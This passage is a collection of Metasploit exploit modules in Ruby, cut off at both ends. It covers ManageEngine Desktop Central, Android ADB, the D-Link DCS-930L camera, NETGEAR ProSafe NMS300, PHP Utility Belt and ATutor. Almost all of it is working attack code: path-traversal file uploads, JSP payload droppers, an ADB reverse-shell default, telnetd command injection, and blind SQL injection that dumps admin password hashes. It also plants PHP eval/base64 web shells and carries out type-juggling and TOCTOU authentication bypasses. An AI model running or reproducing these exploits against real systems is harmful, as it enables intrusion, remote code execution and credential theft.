(IOException ioe) { }\n| jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| jspraw << %Q|%>\n| jspraw end def get_jsp_stager exe = generate_payload_exe(code: payload.encoded) jsp_fname = "#{Rex::Text.rand_text_alpha(5)}.jsp" # pwd: C:\ManageEngine\DesktopCentral_Server\bin # targeted location: C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf register_files_for_cleanup("../webapps/DesktopCentral/jspf/#{jsp_fname}") { jsp_payload: jsp_drop_bin(exe, jsp_fname) + jsp_execute_command(jsp_fname), jsp_name: jsp_fname } end def get_build_number(res) inputs = res.get_hidden_inputs # The buildNum input is in the first form inputs.first['buildNum'] end def get_html_title(res) html = res.body n = ::Nokogiri::HTML(html) n.at_xpath('//title').text end def check uri = normalize_uri(target_uri.path, '/configurations.do') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res vprint_error("Connection timed out") return Exploit::CheckCode::Unknown end build_number = get_build_number(res) vprint_status("Found build number: #{build_number}") html_title = get_html_title(res) vprint_status("Found title: #{html_title}") if build_number <= '91084' return Exploit::CheckCode::Appears elsif /ManageEngine Desktop Central/ === html_title return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_jsp(stager_info) # connectionId is part of the 7z filename # computerName is part of the 7z filename (but will be used due to the null byte injection) # customerId is used as a directory name # # The intended upload path is: # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\server-data\[customerId]\rds\scr-rec\null-computerName-connectionId.7z # But this will upload to: # C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\jspf uri = normalize_uri(target_uri.path, 'fileupload') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/octet-stream', 'encode_params' => false, 'data' => stager_info[:jsp_payload], 'vars_get' => { 'connectionId' => "#{Rex::Text.rand_text_alpha(1)}/../../../../../jspf/#{stager_info[:jsp_name]}%00", 'resourceId' => Rex::Text.rand_text_alpha(1), 'action' => 'rds_file_upload', 'computerName' => Rex::Text.rand_text_alpha(rand(10)+5), 'customerId' => Rex::Text.rand_text_numeric(rand(10)+5) } }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while uploading to #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "The server returned #{res.code}, but 200 was expected.") end end def exec_jsp(stager_info) uri = normalize_uri(target_uri.path, "/jspf/#{stager_info[:jsp_name]}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res.nil? fail_with(Failure::Unknown, "Connection timed out while executing #{uri}") elsif res && res.code != 200 fail_with(Failure::Unknown, "Failed to execute #{uri}. Server returned #{res.code}") end end def exploit print_status("Creating JSP stager") stager_info = get_jsp_stager print_status("Uploading JSP stager #{stager_info[:jsp_name]}...") upload_jsp(stager_info) print_status("Executing stager...") exec_jsp(stager_info) end end
  20. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/proto/adb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Android ADB Debug Server Remote Payload Execution', 'Description' => %q{ Writes and spawns a native payload on an android device that is listening for adb debug messages. }, 'Author' => ['joev'], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, 'Platform' => 'linux', 'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X86_64, ARCH_MIPSLE], 'Targets' => [ ['armle', {'Arch' => ARCH_ARMLE}], ['x86', {'Arch' => ARCH_X86}], ['x64', {'Arch' => ARCH_X86_64}], ['mipsle', {'Arch' => ARCH_MIPSLE}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 01 2016' )) register_options([ Opt::RPORT(5555), OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/']) ], self.class) end def check setup_adb_connection do device_info = @adb_client.connect.data print_good "Detected device:\n#{device_info}" return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Unknown end def execute_command(cmd, opts) response = @adb_client.exec_cmd(cmd) print_good "Command executed, response:\n #{response}" end def exploit setup_adb_connection do device_data = @adb_client.connect print_good "Connected to device:\n#{device_data.data}" execute_cmdstager({ flavor: :echo, enc_format: :octal, prefix: '\\\\0', temp: datastore['WritableDir'], linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA-8, background: true, nodelete: true }) end end def setup_adb_connection(&blk) begin print_status "Connecting to device..." connect @adb_client = Rex::Proto::ADB::Client.new(sock) blk.call ensure disconnect end end end
  21. ## ## This module requires Metasploit: http://metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Telnet include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link DCS-930L Authenticated Remote Command Execution', 'Description' => %q{ The D-Link DCS-930L Network Video Camera is vulnerable to OS Command Injection via the web interface. The vulnerability exists at /setSystemCommand, which is accessible with credentials. This vulnerability was present in firmware version 2.01 and fixed by 2.12. }, 'Author' => [ 'Nicholas Starke <[email protected]>' ], 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 20 2015', 'Privileged' => true, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, 'User to login with', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', '']) ], self.class) register_advanced_options( [ OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet Command', 10]), OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) ], self.class) end def telnet_timeout (datastore['TelnetTimeout'] || 10) end def banner_timeout (datastore['TelnetBannerTimeout'] || 25) end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] || '' test_login(user, pass) exploit_telnet end def test_login(user, pass) print_status("#{peer} - Trying to login with #{user} : #{pass}") res = send_request_cgi({ 'uri' => '/', 'method' => 'GET', 'authorization' => basic_auth(user, pass) }) fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - invalid credentials (response code: #{res.code}") if res.code != 200 print_good("#{peer} - Successful login #{user} : #{pass}") end def exploit_telnet telnet_port = rand(32767) + 32768 print_status("#{peer} - Telnet Port: #{telnet_port}") cmd = "telnetd -p #{telnet_port} -l/bin/sh" telnet_request(cmd) print_status("#{rhost}:#{telnet_port} - Trying to establish telnet connection...") ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => telnet_timeout }) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{telnet_port} - Backdoor service unreachable") end add_socket(sock) print_status("#{rhost}:#{telnet_port} - Trying to establish a telnet session...") prompt = negotiate_telnet(sock) if prompt.nil? sock.close fail_with(Failure::Unknown, "#{rhost}:#{telnet_port} - Unable to establish a telnet session") else print_good("#{rhost}:#{telnet_port} - Telnet session successfully established") end handler(sock) end def telnet_request(cmd) uri = '/setSystemCommand' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'vars_post' => { 'ReplySuccessPage' => 'docmd.htm', 'ReplyErrorPage' => 'docmd.htm', 'SystemCommand' => cmd, 'ConfigSystemCommand' => 'Save' } }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") end end def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do while(true) data = sock.get_once(-1, telnet_timeout) return nil if not data or data.length == 0 if data =~ /BusyBox/ return true end end end rescue ::Timeout::Error return nil end end end
  22. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR ProSafe Network Management System 300 Arbitrary File Upload', 'Description' => %q{ Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems. The application has a file upload vulnerability that can be exploited by an unauthenticated remote attacker to execute code as the SYSTEM user. Two servlets are vulnerable, FileUploadController (located at /lib-1.0/external/flash/fileUpload.do) and FileUpload2Controller (located at /fileUpload.do). This module exploits the latter, and has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-1525'], ['US-CERT-VU', '777024'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30'] ], 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Privileged' => true, 'Targets' => [ [ 'NETGEAR ProSafe Network Management System 300 / Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 4 2016')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, "Application path", '/']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'GET' }) if res && res.code == 405 Exploit::CheckCode::Detected else Exploit::CheckCode::Safe end end def generate_jsp_payload exe = generate_payload_exe base64_exe = Rex::Text.encode_base64(exe) payload_name = rand_text_alpha(rand(6)+3) var_raw = 'a' + rand_text_alpha(rand(8) + 3) var_ostream = 'b' + rand_text_alpha(rand(8) + 3) var_buf = 'c' + rand_text_alpha(rand(8) + 3) var_decoder = 'd' + rand_text_alpha(rand(8) + 3) var_tmp = 'e' + rand_text_alpha(rand(8) + 3) var_path = 'f' + rand_text_alpha(rand(8) + 3) var_proc2 = 'e' + rand_text_alpha(rand(8) + 3) jsp = %Q| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% try { String #{var_buf} = "#{base64_exe}"; BASE64Decoder #{var_decoder} = new BASE64Decoder(); byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); File #{var_tmp} = File.createTempFile("#{payload_name}", ".exe"); String #{var_path} = #{var_tmp}.getAbsolutePath(); BufferedOutputStream #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path})); #{var_ostream}.write(#{var_raw}); #{var_ostream}.close(); Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); } catch (Exception e) { } %> | jsp.gsub!(/[\n\t\r]/, '') return jsp end def exploit jsp_payload = generate_jsp_payload jsp_name = Rex::Text.rand_text_alpha(8+rand(8)) jsp_full_name = "null#{jsp_name}.jsp" post_data = Rex::MIME::Message.new post_data.add_part(jsp_name, nil, nil, 'form-data; name="name"') post_data.add_part(jsp_payload, "application/octet-stream", 'binary', "form-data; name=\"Filedata\"; filename=\"#{Rex::Text.rand_text_alpha(6+rand(10))}.jsp\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'fileUpload.do'), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) if res && res.code == 200 && res.body.to_s =~ /{"success":true, "file":"#{jsp_name}.jsp"}/ print_status("#{peer} - Payload uploaded successfully") else fail_with(Failure::Unknown, "#{peer} - Payload upload failed") end print_status("#{peer} - Executing payload...") send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_full_name), 'method' => 'GET' }) handler end end
  23. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution', 'Description' => %q{ This module exploits a SQL Injection vulnerability and an authentication weakness vulnerability in ATutor. This essentially means an attacker can bypass authenication and reach the administrators interface where they can upload malcious code. You are required to login to the target to reach the SQL Injection, however this can be done as a student account and remote registration is enabled by default. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code ], 'References' => [ [ 'CVE', '2016-2555' ], [ 'URL', 'http://www.atutor.ca/' ] # Official Website ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [true, 'The username to authenticate as']), OptString.new('PASSWORD', [true, 'The password to authenticate with']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # the only way to test if the target is vuln begin test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end if test_injection(test_cookie) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end def create_zip_file zip_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @plugin_name = Rex::Text.rand_text_alpha_lower(3) path = "#{@plugin_name}/#{@payload_name}.php" register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}") zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.pack end def exec_code send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }) end def upload_shell(cookie) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'agent' => 'Mozilla' }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla', }) if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"), 'cookie' => cookie, 'agent' => 'Mozilla', }) return true end end # auth failed if we land here, bail fail_with(Failure::Unknown, "Unable to upload php code") return false end def get_hashed_password(token, password, bypass) if bypass return Rex::Text.sha1(password + token) else return Rex::Text.sha1(Rex::Text.sha1(password) + token) end end def login(username, password, bypass) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "login.php"), 'agent' => 'Mozilla', }) token = $1 if res.body =~ /\) \+ \"(.*)\"\);/ cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/ if bypass password = get_hashed_password(token, password, true) else password = get_hashed_password(token, password, false) end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => password, 'form_login' => username, 'submit' => 'Login' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/ # this is what happens when no state is maintained by the http client if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('users/index.php') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, res.redirection), 'cookie' => cookie, 'agent' => 'Mozilla' }) cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/ return cookie end else res.redirection.to_s.include?('admin/index.php') # if we made it here, we are admin return cookie end end # auth failed if we land here, bail fail_with(Failure::NoAccess, "Authentication failed with username #{username}") return nil end def perform_request(sqli, cookie) # the search requires a minimum of 3 chars sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='" rand_key = Rex::Text.rand_text_alpha(1) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"), 'vars_post' => { "search_friends_#{rand_key}" => sqli, 'rand_key' => rand_key, 'search' => 'Search People' }, 'cookie' => cookie, 'agent' => 'Mozilla' }) return res.body end def dump_the_hash(cookie) extracted_hash = "" sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)" login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i for i in 1..login_and_hash_length sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))" asciival = generate_sql_and_test(false, false, sqli, cookie) if asciival >= 0 extracted_hash << asciival.chr end end return extracted_hash.split(":") end def get_ascii_value(sql, cookie) lower = 0 upper = 126 while lower < upper mid = (lower + upper) / 2 sqli = "#{sql}>#{mid}" result = perform_request(sqli, cookie) if result =~ /There are \d entries./ lower = mid + 1 else upper = mid end end if lower > 0 and lower < 126 value = lower else sqli = "#{sql}=#{lower}" result = perform_request(sqli, cookie) if result =~ /There are \d entries./ value = lower end end return value end def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie) if do_test if do_true result = perform_request("1=1", cookie) if result =~ /There are \d entries./ return true end else not do_true result = perform_request("1=2", cookie) if not result =~ /There are \d entries./ return true end end elsif not do_test and sql return get_ascii_value(sql, cookie) end end def test_injection(cookie) if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie) if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie) return true end end return false end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false) print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...") report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) print_status("Dumping username and password hash...") # we got admin hash now credz = dump_the_hash(student_cookie) print_good("Got the #{credz[0]} hash: #{credz[1]} !") if credz admin_cookie = login(credz[0], credz[1], true) print_status("Logged in as #{credz[0]}, uploading shell...") # install a plugin if upload_shell(admin_cookie) print_good("Shell upload successful!") # boom exec_code end end end end
  24. Hacking

    ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHP Utility Belt Remote Code Execution', 'Description' => %q{ This module exploits a remote code execution vulnerability in PHP Utility Belt, which is a set of tools for PHP developers and should not be installed in a production environment, since this application runs arbitrary PHP code as an intended functionality. }, 'Author' => [ 'WICS', # initial discovery 'Jay Turla' # msf ], 'References' => [ ['EDB', '38901'], ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo ], 'DisclosureDate' => 'Aug 12 2015', 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'DisableNops' => true }, 'Targets' => [ ['PHP Utility Belt', {}] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php']) ], self.class) end def check txt = Rex::Text.rand_text_alpha(8) res = http_send_command("echo #{txt};") if res && res.body.include?(txt) Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit http_send_command(payload.encoded) end def http_send_command(cmd) send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path), 'vars_post' => { 'code' => cmd } ) end end
  25. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution', 'Description' => %q{ This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP setup with display_errors set to On, which can be used to allow us to upload a malicious ZIP file. On the web application, a blacklist verification is performed before extraction, however it is not sufficient to prevent exploitation. You are required to login to the target to reach the vulnerability, however this can be done as a student account and remote registration is enabled by default. Just in case remote registration isn't enabled, this module uses 2 vulnerabilities in order to bypass the authentication: 1. confirm.php Authentication Bypass Type Juggling vulnerability 2. password_reminder.php Remote Password Reset TOCTOU vulnerability }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code ], 'References' => [ [ 'URL', 'http://www.atutor.ca/' ], # Official Website [ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory [ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory [ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory [ 'URL', 'https://github.com/atutor/ATutor/pull/107' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 1 2016', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']), OptString.new('USERNAME', [false, 'The username to authenticate as']), OptString.new('PASSWORD', [false, 'The password to authenticate with']) ],self.class) end def print_status(msg='') super("#{peer} - #{msg}") end def print_error(msg='') super("#{peer} - #{msg}") end def print_good(msg='') super("#{peer} - #{msg}") end def check # there is no real way to finger print the target so we just # check if we can upload a zip and extract it into the web root... # obviously not ideal, but if anyone knows better, feel free to change if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?) student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true) if student_cookie != nil && disclose_web_root begin if upload_shell(student_cookie, check=true) && found return Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) end else # if we cant login, it may still be vuln return Exploit::CheckCode::Unknown end else # if no creds are supplied, it may still be vuln return Exploit::CheckCode::Unknown end return Exploit::CheckCode::Safe end def create_zip_file(check=false) zip_file = Rex::Zip::Archive.new @header = Rex::Text.rand_text_alpha_upper(4) @payload_name = Rex::Text.rand_text_alpha_lower(4) @archive_name = Rex::Text.rand_text_alpha_lower(3) @test_string = Rex::Text.rand_text_alpha_lower(8) # we traverse back into the webroot mods/ directory (since it will be writable) path = "../../../../../../../../../../../../..#{@webroot}mods/" # we use this to give us the best chance of success. If a webserver has htaccess override enabled # we will win. If not, we may still win because these file extensions are often registered as php # with the webserver, thus allowing us remote code execution. if check zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}") else register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml") zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht") zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>") end zip_file.pack end def found res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"), }) if res and res.code == 200 and res.body =~ /#{@test_string}/ return true end return false end def disclose_web_root res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"), }) @webroot = "/" @webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> / if @webroot != "/" return true end return false end def call_php(ext) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"), 'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n" }, timeout=0.1) return res end def exec_code res = nil res = call_php("pht") if res == nil res = call_php("phtml") end if res == nil res = call_php("php4") end end def upload_shell(cookie, check) post_data = Rex::MIME::Message.new post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"") post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"") data = post_data.to_s res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"), 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => cookie, 'vars_get' => { 'h' => '' } }) if res && res.code == 302 && res.redirection.to_s.include?("question_db.php") return true end # unknown failure... fail_with(Failure::Unknown, "Unable to upload php code") return false end def find_user(cookie) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "users", "profile.php"), 'cookie' => cookie, # we need to set the agent to the same value that was in type_juggle, # since the bypassed session is linked to the user-agent. We can then # use that session to leak the username 'agent' => '' }) username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/ if username return username end # else we fail, because we dont know the username to login as fail_with(Failure::Unknown, "Unable to find the username!") end def type_juggle # high padding, means higher success rate # also, we use numbers, so we can count requests :p for i in 1..8 for @number in ('0'*i..'9'*i) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "confirm.php"), 'vars_post' => { 'auto_login' => '', 'code' => '0' # type juggling }, 'vars_get' => { 'e' => @number, # the bruteforce 'id' => '', 'm' => '', # the default install script creates a member # so we know for sure, that it will be 1 'member_id' => '1' }, # need to set the agent, since we are creating x number of sessions # and then using that session to get leak the username 'agent' => '' }, redirect_depth = 0) # to validate a successful bypass if res and res.code == 302 cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ return cookie end end end # if we finish the loop and have no sauce, we cant make pasta fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication") end def reset_password # this is due to line 79 of password_reminder.php days = (Time.now.to_i/60/60/24) # make a semi strong password, we have to encourage security now :-> pass = Rex::Text.rand_text_alpha(32) hash = Rex::Text.sha1(pass) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "password_reminder.php"), 'vars_post' => { 'form_change' => 'true', # the default install script creates a member # so we know for sure, that it will be 1 'id' => '1', 'g' => days + 1, # needs to be > the number of days since epoch 'h' => '', # not even checked! 'form_password_hidden' => hash, # remotely reset the password 'submit' => 'Submit' }, }, redirect_depth = 0) # to validate a successful bypass if res and res.code == 302 return pass end # if we land here, the TOCTOU failed us fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password") end def login(username, password, check=false) hash = Rex::Text.sha1(Rex::Text.sha1(password)) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "login.php"), 'vars_post' => { 'form_password_hidden' => hash, 'form_login' => username, 'submit' => 'Login', 'token' => '', }, }) # poor php developer practices cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ if res && res.code == 302 if res.redirection.to_s.include?('bounce.php?course=0') return cookie end end # auth failed if we land here, bail unless check fail_with(Failure::NoAccess, "Authentication failed with username #{username}") end return nil end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: Time.now }.merge(service_data) create_credential_login(login_data) end def exploit # login if needed if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?) report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD']) student_cookie = login(datastore['USERNAME'], 